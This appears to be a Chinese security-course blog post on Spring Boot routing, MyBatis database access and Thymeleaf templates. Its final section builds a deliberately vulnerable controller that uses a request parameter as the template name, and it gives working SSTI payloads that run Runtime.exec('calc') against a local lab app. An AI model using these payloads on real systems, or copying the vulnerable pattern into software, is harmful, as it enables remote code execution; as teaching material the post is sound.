当前位置: 首页 > news >正文

第38天:安全开发-JavaEE应用SpringBoot框架MyBatis注入Thymeleaf模版注入

时间轴:

Java知识点

功能:数据库操作,文件操作,序列化数据,身份验证,框架开发,第三方库使用等.

框架库:MyBatis,SpringMVC,SpringBoot,Shiro,Log4j,FastJson等

技术:Servlet,Listen,Filter,Interceptor,JWT,AOP,反射机制待补充

安全:SQL注入,RCE执行,反序列化,脆弱验证,未授权访问,待补充

安全:原生开发安全,第三方框架安全,第三方库安全等,待补充

什么是springboot?

Spring Boot 是由 Pivotal 团队提供的一套开源框架,可以简化 spring 应用的创建
及部署。它提供了丰富的 Spring 模块化支持,可以帮助开发者更轻松快捷地构建出企业
级应用。 Spring Boot 通过自动配置功能,降低了复杂性,同时支持基于 JVM 的多种开
源框架,可以缩短开发时间,使开发更加简单和高效。

演示案例:

    SpringBoot-Web 应用-路由响应

    SpringBoot-数据库应用-Mybatis

    SpringBoot-模版引擎-Thymeleaf

SpringBoot-Web 应用-路由响应

#SpringBoot-Web 应用 - 路由响应
参考: https://springdoc.cn/spring-boot/
1 、路由映射
@RequestMapping @GetMapping
2 、参数传递
@RequestParam
3 、数据响应
@RestController @Controller
@RestController 注解相当于 @ResponseBody @Controller 合在一起的作用。

程序创建:

1.创建一个新的项目:

服务器url可以选择两个:

https://start.spring.io

https://start.aliyun.com

2.点击下一步

版本会根据url的不同而给出不一样的答复。

选择适合的Web组件:Spring Web

3.注意在右下角加载Maven项目,删除demos.web项目,创建一个controller.IndexController

4.运行打开的端口为8080。

若端口被占用,可以在application.properties修改端口

5.

IndexController:

package cn.xiaodou.springboottest.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.*;

@RestController
public class IndexController {

    //指定GET请求的访问路由
    @RequestMapping(value = "/xiaodiget",method = RequestMethod.GET)
    //@GetMapping(value = "/xiaodiget")
    public String getindex(){
        return "get test";
    }

    //指定POST请求的访问路由
    @RequestMapping(value = "/xiaodipost",method = RequestMethod.POST)
    //@PostMapping(value = "/xiaodipost")
    public String getpost(){
        return "post test";
    }


    //指定GET请求的访问路由 带参数名name
    @RequestMapping(value = "/xiaodiget_g",method = RequestMethod.GET)
    //@GetMapping(value = "/xiaodiget")
    public String get_g(@RequestParam String name){
        return "get test"+name;
    }

    //指定POST请求的访问路由 带参数名name
    @RequestMapping(value = "/xiaodiget_g",method = RequestMethod.POST)
    //@GetMapping(value = "/xiaodiget_g")

    public String get_p(@RequestParam String name){
        return "post test"+name;
    }


}

 可以选择点击显示模块的所有端点:

拥有get和post两个请求。

此为springboot报错界面:

get响应:

http://127.0.0.1/xiaodiget

post响应:

使用postman:

http://127.0.0.1/xiaodipost

get响应 带参数:

http://127.0.0.1:8080/xiaodiget_g?name=123

post响应 带参数:

  http://127.0.0.1:8080/xiaodiget_g

@RestController与@Controller的区别:

3 、数据响应
@RestController @Controller
@RestController 注解相当于 @ResponseBody @Controller 合在一起的作用。

 

需要在结尾加一个@ResponseBody,从而使用@RestController更好用一点

SpringBoot-数据库应用-Mybatis

1.创建项目SpringBootMybatis:

2.选择这三个依赖项目:

3.数据库先创建需操作的数据

4.若未添加勾选,则需要加入代码到pom.xml里面(项目添加Mybatis&数据库驱动)

-pom.xml
<dependency>
<groupId>org.mybatis.spring.boot</groupId>
<artifactId>mybatis-spring-boot-starter</artifactId>
<version>2.2.2</version>
</dependency>
<dependency>
<groupId>com.mysql</groupId>
<artifactId>mysql-connector-j</artifactId>
<scope>runtime</scope>
</dependency>

5.修改application.yml(项目配置数据库连接信息)

-application.yml
spring:
datasource:
url: jdbc:mysql://localhost:3306/demo01
username: root
password: 123456
driver-class-name: com.mysql.cj.jdbc.Driver

6.在软件包下创建entity.User去创建User类用来操作数据库数据

可以使用alt+insert选择Getter和Setter进行添加id他们的字符

tostring一样的构造方法:

 

User.java:

package com.example.springbootmybatils.entity;

public class User {
    private Integer id;
    private String username;
    private String password;

    public Integer getId() {
        return id;
    }

    public void setId(Integer id) {
        this.id = id;
    }

    public String getUsername() {
        return username;
    }

    public void setUsername(String username) {
        this.username = username;
    }

    public String getPassword() {
        return password;
    }

    public void setPassword(String password) {
        this.password = password;
    }

    @Override
    public String toString() {
        return "User{" +
                "id=" + id +
                ", username='" + username + '\'' +
                ", password='" + password + '\'' +
                '}';
    }
}

6.创建Mapper动态接口代理类实现

                 

package com.example.springbootmybatils.mapper;

import com.example.springbootmybatils.entity.User;
import org.apache.ibatis.annotations.Insert;
import org.apache.ibatis.annotations.Mapper;
import org.apache.ibatis.annotations.Select;

import java.util.List;

@Mapper
public interface UserMapper {

    // 根据提供的id选择所有用户的SQL查询
    @Select("select * from admin ")
    public List<User> findAll(Integer id);

    // 根据特定id选择所有用户的SQL查询
    @Select("select * from admin where id=1")
    public List<User> findID();

7.创建Controller实现Web访问调用

在软件包下创建一个GetadminController

完整代码:

package com.example.springbootmybatils.controller;

import com.example.springbootmybatils.entity.User;
import com.example.springbootmybatils.mapper.UserMapper;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

import java.util.List;

@RestController
public class GetadminController {

    @Autowired
    private UserMapper UserMapper;

    @GetMapping("/getadmin")
    public List<User> getadmindata(@RequestParam Integer id){
        List<User> all = UserMapper.findAll(id);
        return all;
    }

    @GetMapping("/getid")
    public List<User> getadminid(){
        List<User> all = UserMapper.findID();
        return all;
    }

}

8.运行结果:

访问getadmin:

访问getid:

由于有json包:

数据格式都为json。

安全问题:

mybatis的sql注入。

https://baijiahao.baidu.com/s?id=1747445413331443209&wfr=spider&for=pc

MyBatis-sql注入问题_mybatis sql注入-CSDN博客

注入如下:

SpringBoot-模版引擎-Thymeleaf

thymeleaf模板注入学习与研究--查找与防御

1.创建项目ThyremeafDemo

2.勾选项目:

3.配置文件都写到此文件中

4.创建templates,在下面创建index.html。

放入渲染界面index.html:

<!DOCTYPE html>
<html  xmlns:th="http://www.thymeleaf.org">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body >
<span th:text="${data}">小豆安全</span>
</body>
</html>

5.在软件包下创建controller.ThymeleafController

注意:(还要看.idea出现workspace.xml这个文件没有)

// //@RestController ResponseBody index当做字符串显示操作
// //Controller 没有ResponseBody index当做资源文件去渲染

渲染回显:

未渲染回显:

安全问题:

日常开发中:语言切换页面,主题更换等传参导致的SSTI注入安全问题

例如:更换中英文页面模板

将其换成

实操:

创建index-en.html:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
 
</body>
</html>

 修改ThymeleafController:

package cn.xiadou.thyremeafdemo.controller;

import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@Controller
public class ThymeleafController {
//    @RequestMapping(value = "/")
//    public String index(Model model) {
//        model.addAttribute("data","hello xiaodi");
//        //@RestController ResponseBody index当做字符串显示操作
//        //Controller 没有ResponseBody index当做资源文件去渲染
//        return "index";
//    }

    @RequestMapping(value = "/test")
    public String index() {
        //@RestController ResponseBody index当做字符串显示操作
        //Controller 没有ResponseBody index当做资源文件去渲染
        return "test";
    }

    @RequestMapping(value = "/")
    public String index(@RequestParam String lang) {
        //@RestController ResponseBody index当做字符串显示操作
        //Controller 没有ResponseBody index当做资源文件去渲染
        return lang; //lang=en index-en
    }


}

访问尝试一下:

http://127.0.0.1:8080/?lang=index-en

对于不同版本的Thymeleaf,他可能会造成漏洞:

使用阿里云的版本2.6.13:

注入代码:(发现报错)

http://127.0.0.1:8080/?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x

http://127.0.0.1:8080/?lang=%7bnew java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()%7d__::.x](http://127.0.0.1:8080/?lang=__%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d::.x)

替换pom.xml使其变换版本:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.springframework</groupId>
    <artifactId>java-spring-thymeleaf</artifactId>
    <version>1.0</version>

    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <!--latest-->
        <version>2.2.0.RELEASE</version>
    </parent>

    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-thymeleaf</artifactId>
        </dependency>

    </dependencies>

    <properties>
        <java.version>1.8</java.version>
    </properties>

    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
            </plugin>
        </plugins>
    </build>
</project>

重新再次注入:

重新构建后需要对各个项目:

对应使用idea中错误解析,将报错的包一一添加类路径中即可

注入成功:

此文章由李豆豆喵和番薯小羊卷~共同完成。

相关文章:

  • 端口映射/内网穿透方式及问题解决:warning: remote port forwarding failed for listen port
  • Flutter_学习记录_实现列表上拉加载更多的功能
  • 智驾大模型常见技术指标及含义
  • 【R语言】广义加性模型gam
  • Element Plus中el-select选择器的下拉选项列表的样式设置
  • Mercury、LLaDA 扩散大语言模型
  • matlab机器人机械臂无人机python自动驾驶无人船控制规划ROS避障
  • 派可数据BI接入DeepSeek,开启智能数据分析新纪元
  • 2025年三个月自学手册 网络安全(黑客技术)
  • JSP + Servlet 实现 AJAX(纯JS版)
  • Node.js与MySQL的深入探讨
  • DILLEMA:扩散模型+大语言模型,多模态数据增强框架
  • Git基本使用
  • 数据结构 1-3 栈
  • Spark map与mapPartitions算子源码级深度解析
  • Java爬虫中如何处理JavaScript渲染的页面?
  • DeepBI AI驱动的优秀产品筛选策略:提升销量与市场竞争力的关键
  • 速通串口通信
  • 【Qt】详细介绍如何在Visual Studio Code中编译、运行Qt项目
  • Spring 核心技术解析【纯干货版】- XIV:Spring 消息模块 Spring-Jms 模块精讲
  • 公司如何做自己的网站/班级优化大师官方网站
  • 吴江企业建设网站/全网自媒体平台
  • 郑州富士康要搬迁是真的吗/seo基础篇
  • 网页设计与网站建设选择题/百度电脑端入口
  • 建设银行在上海的招聘网站/百度关键词首页排名服务
  • 在什么网站做兼职翻译/求职seo